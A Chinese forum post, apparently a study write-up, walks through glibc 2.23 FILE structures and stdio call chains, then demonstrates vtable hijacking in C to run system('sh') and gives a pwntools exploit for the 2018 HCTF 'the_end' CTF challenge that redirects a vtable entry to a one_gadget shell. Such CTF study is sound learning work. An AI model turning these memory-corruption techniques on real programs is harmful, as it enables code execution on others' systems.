首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
1
初识IO_FILE Exploitation
发表于: 2025-12-10 15:15
16066
初识IO_FILE Exploitation
G0t1T
1
2025-12-10 15:15
16066
参考链接: <a href="elink@3e1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3W2G2i4K6u0V1k6X3W2D9k6g2)9J5c8X3W2F1N6s2u0G2k6s2g2U0N6r3W2G2L8W2)9J5c8R3`.`."><mark class="encrypted">675K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3W2G2i4K6u0V1k6X3W2D9k6g2)9J5c8X3W2F1N6s2u0G2k6s2g2U0N6r3W2G2L8W2)9J5c8R3`.`.</mark></a> <a href="elink@eb6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3W2G2i4K6u0V1k6X3W2D9k6g2)9J5c8X3k6S2K9$3g2Q4x3X3c8$3N6r3q4T1L8r3g2Q4x3X3c8W2P5s2m8D9L8$3W2@1i4K6u0r3"><mark class="encrypted">18dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3W2G2i4K6u0V1k6X3W2D9k6g2)9J5c8X3k6S2K9$3g2Q4x3X3c8$3N6r3q4T1L8r3g2Q4x3X3c8W2P5s2m8D9L8$3W2@1i4K6u0r3</mark></a> 记一次跟着ctiwiki学习IO_FILE Exploitation的过程,我会在有些地方调试看看,加深理解。大部分内容都是来自ctfwiki。 # 给libc文件加符号表 我这里是为了链接libc2.23版本的,方便后面调试。 下载有调试符号和没调试符号的libc ```plain wget https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/refs/heads/master/pwn/linux/user-mode/io-file/2018_hctf_the_end/the_end wget http://launchpadlibrarian.net/353523709/libc6-dbg_2.23-0ubuntu10_amd64.deb dpkg -x libc6-dbg_2.23-0ubuntu10_amd64.deb libc6-dbg_2.23-0ubuntu10_amd64 wget https://launchpadlibrarian.net/353523729/libc6_2.23-0ubuntu10_amd64.deb dpkg -x libc6_2.23-0ubuntu10_amd64.deb libc6_2.23-0ubuntu10_amd64 ```  这里的the_end程序其实就是后面<font style="color:rgba(0, 0, 0, 0.87);">2018 HCTF the_end题目的源程序</font> ```plain patchelf --set-interpreter ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/ld-2.23.so ./the_end patchelf --replace-needed libc.so.6 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ./the_end ```  查看libc文件的调试链接 ```plain readelf -x .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ```  更改链接为有调试符号的 ```plain objcopy -R .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so cp libc6-dbg_2.23-0ubuntu10_amd64/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.23.so ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23 objcopy --add-gnu-debuglink=./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ```  修改前的效果  修改之后的效果  # FILE结构 <font style="color:rgba(0, 0, 0, 0.87);">FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。</font> <font style="color:rgba(0, 0, 0, 0.87);">FILE 结构定义在 libio.h 中,如下所示</font> ```python struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif }; ``` <font style="color:rgba(0, 0, 0, 0.87);">进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。</font> <font style="color:rgba(0, 0, 0, 0.87);">在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。</font> <font style="color:rgba(0, 0, 0, 0.87);">我们可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是</font> ```python _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_ ``` `p _IO_list_all`可以看到_IO_list_all是指向_IO_2_1_stderr_,而且地址位于libc.so上。注意结构体是_IO_FILE_plus,后面会说到  `p _IO_2_1_stderr_`再看_IO_2_1_stderr_的结构,可以看到_chain指向了_IO_2_1_stdout_  `p _IO_2_1_stdout_`再看_IO_2_1_stderr_的结构,可以看到_chain指向了_IO_2_1_stdin_  `p _IO_2_1_stdin_`看_IO_2_1_stdin_的结构,可以看到_chain是指向0x0,为空。  从这四个图可以看到链表指向是_IO_list_all --> _IO_2_1_stderr_ --> _IO_2_1_stdout_ --> _IO_2_1_stdin_ 在初始状态下,链表中只有这三个文件流。 --- <font style="color:rgba(0, 0, 0, 0.87);">但是事实上_IO_FILE 结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针 vtable 指向了一系列函数指针。</font> <font style="color:rgba(0, 0, 0, 0.87);">在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8</font> ```python struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; } ```  从上面三张图可以看到_IO_2_1_stderr_,_IO_2_1_stdout_,_IO_2_1_stdin_都是这种结构,vtable指向的地址都是一样的。 也可以看到64位下偏移是0xd8  ## <font style="color:rgba(0, 0, 0, 0.87);">vtable结构</font> <font style="color:rgba(0, 0, 0, 0.87);">vtable 是 IO_jump_t 类型的指针,IO_jump_t 中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针</font> ```python void * funcs[] = { 1 NULL, // "extra word" 2 NULL, // DUMMY 3 exit, // finish 4 NULL, // overflow 5 NULL, // underflow 6 NULL, // uflow 7 NULL, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // doallocate 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, // showmanyc 21 NULL, // imbue }; ``` `p *(struct _IO_jump_t *)0x7ffff7dd06e0`查看vtable的结构,以 `__GI_`为前缀的符号通常是 glibc 内部用于**绑定到实际实现函数**的别名,其真正的函数名是去掉__GI_的  --- 先下个源码`wget <mark class="encrypted">982K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3N6s2m8Q4x3X3g2Y4L8Y4g2Q4x3X3g2G2M7X3N6Q4x3V1k6Y4L8Y4g2Q4x3V1k6Y4L8r3W2T1j5#2)9J5c8X3N6D9K9h3u0U0i4K6u0V1x3W2)9J5k6e0t1K6i4K6u0W2N6r3q4J5i4K6u0W2P5s2A6Q4y4U0m8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5e0k6Q4b7U0W2Q4c8e0c8Q4b7V1g2Q4b7V1k6Q4c8e0g2Q4z5e0m8Q4z5p5g2Q4c8e0W2Q4z5f1c8Q4b7e0u0Q4c8e0N6Q4z5f1y4Q4z5p5u0X3M7X3g2S2k6q4!0q4z5q4!0n7c8W2)9&6z5g2!0q4y4q4!0n7b7g2)9&6b7W2!0q4y4g2)9^5y4#2!0n7c8q4!0q4y4W2)9&6y4g2!0n7x3l9`.`.</mark>  `tar -xvf glibc-2.23.tar.xz`  ## fread <font style="color:rgba(0, 0, 0, 0.87);">fread 是标准 IO 库函数,作用是从文件流中读数据,函数原型如下</font> ```plain size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ; ``` fread 函数的各个参数作用如下: + void *buffer:这是一个指向内存中某块空间的指针,fread从文件读取的数据将会被存放于此。需要提前确保这块内存空间(如数组或变量)已经分配好,并且足够大以容纳将要读取的数据。 + size_t size:这个参数指定了你要读取的每个数据元素的大小,单位是字节。例如,如果打算读取一组 int类型的数据,通常这里会使用 sizeof(int)。 + size_t count:这个参数指定了你希望读取多少个上述大小为 size的数据元素。fread会尝试读取 size * count个字节的数据。 + FILE *stream:这是一个指向 FILE对象的指针,它指定了数据从哪个已打开的文件流中读取。这个指针通常是由 fopen函数成功打开文件后返回的。 + 返回值:fread函数返回的是成功读取的完整数据元素的个数(即 count的数值),而不是字节数。如果返回值小于 count,可能意味着发生了错误或者已经到达文件末尾(EOF)。 `cat glibc-2.23/libio/iofread.c`,fread 的代码位于/libio/iofread.c 中,函数名为_IO_fread,</font>可以看到这个函数会接着调用_IO_sgetn函数。  ```python _IO_size_t _IO_fread (buf, size, count, fp) void *buf; _IO_size_t size; _IO_size_t count; _IO_FILE *fp; { ... bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); ... } ``` _IO_sgetn函数定义在libio/genops.c这个文件内,`grep -C 3 "_IO_sgetn" glibc-2.23/libio/genops.c`,可以看到<font style="color:rgba(0, 0, 0, 0.87);">在_IO_sgetn 函数中会直接返回_IO_XSGETN</font>  ```python _IO_size_t _IO_sgetn (fp, data, n) _IO_FILE *fp; void *data; _IO_size_t n; { return _IO_XSGETN (fp, data, n); } ``` `grep -C 3 "_IO_XSGETN" glibc-2.23/libio/libioP.h`_IO_XSGETN是一个在 glibc 的 IO 系统内部用于实现多态调用的宏,它的定义位于头文件 libio/libioP.h中,AI是这样解释的:这里的 `JUMP2`是另一个宏,负责最终的函数跳转。它的作用是:**根据传入的 FILE 结构体 (**`**FP**`**) 找到其对应的虚函数表 (vtable),然后从表中取出 **`**__xsgetn**`**函数指针并调用它**,同时将参数 `FP`, `DATA`, `N`传递过去  ```python #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) ``` 也就是说fread最后会调用vtable表中的__xsgetn函数指针,最后调用了__GI__IO_file_xsgetn。这个以 `__GI_`为前缀的符号通常是 glibc 内部用于**绑定到实际实现函数**的别名,其真正的函数定义就是 `_IO_file_xsgetn`  `grep -A 60 "_IO_file_xsgetn" glibc-2.23/libio/fileops.c`这个函数内还调用了vtable中的__underflow指针  类似地<font style="color:rgba(0, 0, 0, 0.87);">最终会调用系统接口 read 函数</font> fread --> _IO_sgetn --> _IO_XSGETN --> __xsgetn --> __IO_file_xsgetn --> __underflow --> _IO_new_file_underflow --> _IO_SYSREAD ## <font style="color:rgba(0, 0, 0, 0.87);">fwrite</font> <font style="color:rgba(0, 0, 0, 0.87);">fwrite 同样是标准 IO 库函数,作用是向文件流写入数据,函数原型如下</font> ```python size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream); ``` fwrite 函数的各个参数作用如下: + <font style="color:rgba(0, 0, 0, 0.87);">const void* buffer:这是指向内存中一块空间的指针,该空间存放着你准备写入文件的数据。</font> + <font style="color:rgba(0, 0, 0, 0.87);">size_t size:这个参数指定了每个要写入的数据项的字节大小。例如,如果你要写入一个整数数组,这里通常使用 sizeof(int)。</font> + <font style="color:rgba(0, 0, 0, 0.87);">size_t count:这个参数指明你希望写入多少个上述大小的数据项。例如,如果你的 buffer指向一个包含10个整数的数组,并且 size是 sizeof(int),那么这里就应设置为10,表示要写入10个整数 。</font> + <font style="color:rgba(0, 0, 0, 0.87);">FILE* stream:这是一个指向 FILE对象的指针,它指定了数据要写入到哪个已打开的文件流。这个指针通常是由 fopen函数成功打开文件后返回的。</font> + <font style="color:rgba(0, 0, 0, 0.87);">返回值:函数返回成功写入到文件中的数据项数量(是 count的个数,而非总字节数)。</font> `<font style="color:rgba(0, 0, 0, 0.87);">cat glibc-2.23/libio/iofwrite.c</font>`<font style="color:rgba(0, 0, 0, 0.87);">fwrite 的代码位于/libio/iofwrite.c 中,函数名为_IO_fwrite,可以看到这个函数会接着调用_IO_sputn函数。</font>  ```python written = _IO_sputn (fp, (const char *) buf, request); ``` `grep "_IO_sputn" glibc-2.23/libio/libioP.h`,而_IO_sputn是一个宏,它的定义位于 glibc 源码的 libio/libioP.h 头文件中,AI解释如下:这个宏的核心作用是作为**函数调用的路由**,它会根据传入的 `FILE`结构体找到对应的虚函数表(vtable),并调用其中的 `__xsputn`函数指针 。  `grep -C 3 "_IO_XSPUTN" glibc-2.35/libio/libioP.h`   `grep -C 90 "_IO_new_file_xsputn" glibc-2.23/libio/fileops.c`在_IO_new_file_xsputn函数内还可以发现调用了_IO_OVERFLOW函数  ```python /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) ``` `grep -C 3 "_IO_OVERFLOW" glibc-2.35/libio/libioP.h`会跳转到__overflow指针  根据上文得到的结果,会调用_IO_new_file_overflow函数  `grep -C 30 "_IO_new_file_overflow" glibc-2.35/libio/fileops.c`调用了_IO_do_write  <font style="color:rgba(0, 0, 0, 0.87);">类似地最终会调用系统接口 write 函数</font> <font style="color:rgba(0, 0, 0, 0.87);">fwrite --> _IO_sputn --> </font>_IO_XSPUTN --> __xsputn --> _IO_new_file_xsputn --> _IO_OVERFLOW --> __overflow --> _IO_new_file_overflow --> _IO_do_write --> _IO_new_do_write --> new_do_write --> _IO_SYSWRITE ## fopen <font style="color:rgba(0, 0, 0, 0.87);">fopen 在标准 IO 库中用于打开文件,函数原型如下</font> ```plain FILE *fopen(char *filename, *type); ``` + <font style="color:rgba(0, 0, 0, 0.87);">filename: 目标文件的路径</font> + <font style="color:rgba(0, 0, 0, 0.87);">type: 打开方式的类型,可以有r,w,a,r+,w+,a+等等</font> + <font style="color:rgba(0, 0, 0, 0.87);">返回值: 返回一个文件指针</font> <font style="color:rgba(0, 0, 0, 0.87);">在 fopen 内部会创建 FILE 结构并进行一些初始化操作,下面来看一下这个过程</font> `cat glibc-2.23/libio/iofopen.c`,这个函数在libio/iofopen.c文件内,函数名为_IO_new_fopen,该函数直接调用__fopen_internal</font>  <font style="color:rgba(0, 0, 0, 0.87);">首先在 fopen 对应的函数__fopen_internal 内部会调用 malloc 函数,分配 FILE 结构的空间。因此我们可以获知 FILE 结构是存储在堆上的</font> ```plain *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); ``` <font style="color:rgba(0, 0, 0, 0.87);">之后会为创建的 FILE 初始化 vtable,并调用_IO_file_init 进一步初始化操作。</font> ```plain _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; _IO_file_init (&new_f->fp); ``` <font style="color:rgba(0, 0, 0, 0.87);">在_IO_file_init 函数的初始化操作中,会调用_IO_link_in 把新分配的 FILE 链入_IO_list_all 为起始的 FILE 链表中</font> `grep -A 60 "_IO_new_file_init" glibc-2.23/libio/fileops.c`这里用了另一个函数名表示初始化函数</font>   `grep -A 60 "_IO_link_in" glibc-2.23/libio/genops.c`  <font style="color:rgba(0, 0, 0, 0.87);">之后__fopen_internal 函数会调用_IO_file_fopen 函数打开目标文件,_IO_file_fopen 会根据用户传入的打开模式进行打开操作,总之最后会调用到系统接口 open 函数,这里不再深入。</font> ```plain if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL) return __fopen_maybe_mmap (&new_f->fp.file); ``` <font style="color:rgba(0, 0, 0, 0.87);">总结一下 fopen 的操作是</font> + <font style="color:rgba(0, 0, 0, 0.87);">使用 malloc 分配 FILE 结构</font> + <font style="color:rgba(0, 0, 0, 0.87);">设置 FILE 结构的 vtable</font> + <font style="color:rgba(0, 0, 0, 0.87);">初始化分配的 FILE 结构</font> + <font style="color:rgba(0, 0, 0, 0.87);">将初始化的 FILE 结构链入 FILE 结构链表中</font> + <font style="color:rgba(0, 0, 0, 0.87);">调用系统调用打开文件</font> fopen --> <font style="color:rgba(0, 0, 0, 0.87);">_IO_new_fopen --> __fopen_internal --> _IO_file_fopen --> .....</font> ## <font style="color:rgba(0, 0, 0, 0.87);">fclose</font> <font style="color:rgba(0, 0, 0, 0.87);">fclose 是标准 IO 库中用于关闭已打开文件的函数,其作用与 fopen 相反。</font> ```plain int fclose(FILE *stream) ``` <font style="color:rgba(0, 0, 0, 0.87);">功能:关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区</font> `cat glibc-2.23/libio/iofclose.c`<font style="color:rgba(0, 0, 0, 0.87);">fclose在</font>libio/iofclose.c文件中的函数名是_IO_new_fclose  <font style="color:rgba(0, 0, 0, 0.87);">fclose 首先会调用_IO_unlink_it 将指定的 FILE 从_chain 链表中脱链</font> ```plain if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); ``` <font style="color:rgba(0, 0, 0, 0.87);">之后会调用_IO_file_close_it 函数,_IO_file_close_it 会调用系统接口 close 关闭文件</font> ```plain if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); ``` <font style="color:rgba(0, 0, 0, 0.87);">最后调用 vtable 中的_IO_FINISH,其对应的是_IO_file_finish 函数,其中会调用 free 函数释放之前分配的 FILE 结构</font> ```plain _IO_FINISH (fp); ``` ## <font style="color:rgba(0, 0, 0, 0.87);">printf/puts</font> <font style="color:rgba(0, 0, 0, 0.87);">printf 和 puts 是常用的输出函数,在 printf 的参数是以'\n'结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。</font> <font style="color:rgba(0, 0, 0, 0.87);">puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。</font> <font style="color:rgba(0, 0, 0, 0.87);">printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现</font> ```plain vfprintf+11 _IO_file_xsputn _IO_file_overflow funlockfile _IO_file_write write ``` # 伪造 vtable 劫持程序流程 <font style="color:rgba(0, 0, 0, 0.87);">前面我们介绍了 Linux 中文件流的特性(FILE),我们可以得知 Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。</font> <font style="color:rgba(0, 0, 0, 0.87);">因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。</font> <font style="color:rgba(0, 0, 0, 0.87);">因此 vtable 劫持分为两种,一种是</font>**<font style="color:rgba(0, 0, 0, 0.87);">直接改写 vtable 中的函数指针</font>**<font style="color:rgba(0, 0, 0, 0.87);">,通过任意地址写就可以实现。另一种是</font>**<font style="color:rgba(0, 0, 0, 0.87);">覆盖 vtable 的指针指向我们控制的内存</font>**<font style="color:rgba(0, 0, 0, 0.87);">,然后在其中布置函数指针。</font> ## <font style="color:rgba(0, 0, 0, 0.87);">实践</font> <font style="color:rgba(0, 0, 0, 0.87);">这里演示了修改 vtable 中的指针,首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。</font> ```plain int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable vtable_ptr[7]=0x41414141; //xsputn printf("call 0x41414141"); } ``` <font style="color:rgba(0, 0, 0, 0.87);">根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。</font> <font style="color:rgba(0, 0, 0, 0.87);">并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。</font> <font style="color:rgba(0, 0, 0, 0.87);">类似这种,第一个参数都是fp,fp实际上就是_IO_FILE_plus的地址。</font>  <font style="color:rgba(0, 0, 0, 0.87);">利用这点可以实现给劫持的 vtable 函数传參,比如以下这个代码,memcopy(fp,"sh",3);就是把file结构前三个字节改成了sh\0,然后劫持xsputn就可以实现system(sh)了</font> ```plain #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable memcopy(fp,"sh",3); vtable_ptr[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); } ``` <font style="color:rgba(0, 0, 0, 0.87);">但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。</font>  <font style="color:rgba(0, 0, 0, 0.87);">不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。</font> ```plain #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); } ``` <font style="color:rgba(0, 0, 0, 0.87);">我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 "/bin/sh" 或 "sh"。</font> <font style="color:rgba(0, 0, 0, 0.87);">因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system("sh")。</font> <font style="color:rgba(0, 0, 0, 0.87);">同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。</font>  ## <font style="color:rgba(0, 0, 0, 0.87);">2018 HCTF the_end</font>  ```plain void __fastcall __noreturn main(int a1, char **a2, char **a3) { int i; // [rsp+4h] [rbp-Ch] void *buf; // [rsp+8h] [rbp-8h] BYREF sleep(0); printf("here is a gift %p, good luck ;)\n", &sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i <= 4; ++i ) { read(0, &buf, 8uLL); read(0, buf, 1uLL); } exit(1337); } ``` 可以看到main函数里开头就打印了sleep函数的地址,我们可以根据这个地址找到libc版本是libc6_2.23-0ubuntu10_amd64 此外还有个for循环可以任意地址写入总共5个字节 思路: ● 利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。 ● 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ,然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。 我们先查看_IO_2_1_stdout_在libc文件中的偏移,为0x3c5620 ```plain nm -D libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so | grep -C 10 _IO_2_1_stdout ```  再根据vtable跟FILE结构的偏移是0xd8,可以算出vtable的地址是:0x3c56f8。 从这里可以看到__setbuf是第12个元素,偏移是11个0x8字节,也就是0x58  查看虚表地址附近的内容,我们需要找到一个fake_vtable地址,该地址的0x58偏移是一个libc地址,我们可以把该地址改成one_gadget。也就是fake_vtable_addr + 0x58 = libc_base + onegadget  我们可以把0x7ffff7dd26b8当成fake_vtable地址,然后在0x58偏移的位置伪造onegadget的地址  `one_gadget ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so`有三个gadget,到时候三个都试一下,看哪个可以   计算一下偏移  ```python from pwn import * context(arch = "amd64", os = "linux", log_level = "debug") io=process("./the_end") libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so") io.recvuntil(b"here is a gift ") sleep_addr = int(io.recvuntil(b',',drop=True),16) log.info(f"sleep --> {hex(sleep_addr)}") io.recv() base = sleep_addr - libc.symbols["sleep"] vtable = base + 0x3c56f8 onegadget = base + 0xf02b0 fake_vtable = vtable - 0x40 target_addr = fake_vtable + 0x58 log.info(f"vtable address: {hex(vtable)}") log.info(f"onegadget address: {hex(onegadget)}") log.info(f"fake_vtable address: {hex(fake_vtable)}") log.info(f"target_addr address: {hex(target_addr)}") gdb.attach(io,'b *$rebase(0x955)') pause() for i in range(2): io.send(p64(vtable+i)) io.send(p8(p64(fake_vtable)[i])) for i in range(3): io.send(p64(target_addr+i)) io.send(p8(p64(onegadget)[i])) io.sendline(b"exec /bin/sh 1>&0") io.interactive() ``` 调试的时候看到已经把目标地址改成one_gadget地址了  也成功跳转到了onegadget,不知道为什么就是拿不到shell, Got EOF了  报了这个错误,AI说是onegadget的条件不满足,三个gadget都试过了也没法,看别人的wp好像也是本地打不通。。。没辙了 ```python Breakpoint 2, 0x00007f04ca0452b0 in exec_comm_child (noexec=<optimized out>, showerr=<optimized out>, fildes=0x7ffd10017238, comm=0x7f04ca3158e0 <__elf_set___libc_thread_subfreeres_element_arena_thread_freeres__> "0\240\f\312\004\177") at wordexp.c:876 876 wordexp.c: No such file or directory. ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
#基础知识
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
南行
+10
为你点赞!
2025-12-12 23:51
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
G0t1T
1
8
发帖
3
回帖
110
RANK
关注
私信
他的文章
[原创]HGAME 2026复现(1)
13768
[原创]hitcontraining_heapcreator
16800
[原创][BUUCTF刷题记录]hitcontraining_magicheap
16060
[原创]堆学习:Unlink attack
16031
初识IO_FILE Exploitation
16066
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部